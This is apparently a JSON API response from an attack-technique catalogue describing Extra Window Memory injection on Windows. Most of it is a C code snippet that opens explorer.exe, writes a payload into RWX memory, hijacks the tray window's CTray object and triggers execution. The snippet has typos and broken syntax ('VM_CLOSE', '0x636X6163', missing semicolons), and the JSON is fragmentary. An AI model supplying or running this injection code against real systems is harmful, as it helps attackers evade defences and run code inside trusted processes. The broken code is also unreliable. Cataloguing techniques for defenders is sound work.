GET /api/techniques/115/
Content-Type: application/json
Vary: Accept

    "name": "Extra Window Memory Injection",
    "category": [
    "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). \r\n\r\nRegistration of new windows classes can include a request for up to 40 bytes of Extra Window Memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.\r\n\r\nAdversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.",
    "resources": "\r\n",
    "tags": "",
    "snippets": [
            "language": "",
            "author": "",
            "technique": "",
            "description": "",
            "plain_code": "LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg,\r\n    WPARAM wParam, LPARAM lParam)\r\n{\r\n    // igone messages other than WM_CLOSE\r\n    if (uMsg != VM_CLOSE) return 0;\r\n    WinExec_t pWinExec;\r\n    DWORD   szWinExec[2];\r\n            szCalc[2];\r\n    \r\n    // WinExec \r\n    szWinExec[0]=0x456E6957\r\n    szWinExec[1]=0x00636578\r\n    // calc \r\n    szCalc[0]=0x636X6163\r\n    szCalc[1]=0;\r\n    pWinExec = (WinExec_t)xGetProcAddress(szWinExec);\r\n    if(pWinExec != NULL) {\r\n        pWinExec((LPSTR)szCalc, SH_SHOW);\r\n    }\r\n    return 0;\r\n} \r\nFull Function :\r\nLPVOID ewm(LPVOID payload, DWORD payloadSize){\r\n    LPVOID    cs, ds;\r\n    CTray     ct;\r\n    ULONG_PTR ctp;\r\n    HWND      hw;\r\n    HANDLE    hp;\r\n    DWORD     pid;\r\n    SIZE_T    wr;\r\n    \r\n    // 1. Obtain a handle for the shell tray window\r\n    hw = FindWindow(\"Shell_TrayWnd\", NULL);\r\n    // 2. Obtain a process id for explorer.exe\r\n    GetWindowThreadProcessId(hw, &pid);\r\n    \r\n    // 3. Open explorer.exe\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n    \r\n    // 4. Obtain pointer to the current CTray object\r\n    ctp = GetWindowLongPtr(hw, 0);\r\n    \r\n    // 5. Read address of the current CTray object\r\n    ReadProcessMemory(hp, (LPVOID)ctp, \r\n        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 6. Read three addresses from the virtual table\r\n    ReadProcessMemory(hp, (LPVOID)ct.vTable, \r\n      (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);\r\n    \r\n    // 7. Allocate RWX memory for code\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n    \r\n    // 8. Copy the code to target process\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 9. Allocate RW memory for the new CTray object\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(ct), \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n    \r\n    // 10. Write the new CTray object to remote memory\r\n    ct.vTable  = (ULONG_PTR)ds + sizeof(ULONG_PTR);\r\n    ct.WndProc = (ULONG_PTR)cs;\r\n    \r\n    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); \r\n    // 11. Set the new pointer to CTray object\r\n    SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);\r\n    \r\n    // 12. Trigger the payload via a windows message\r\n    PostMessage(hw, WM_CLOSE, 0, 0);\r\n    \r\n    // 13. Restore the original CTray object\r\n    SetWindowLongPtr(hw, 0, ctp);\r\n    // 14. Release memory and close handles\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
    "detection_rules": []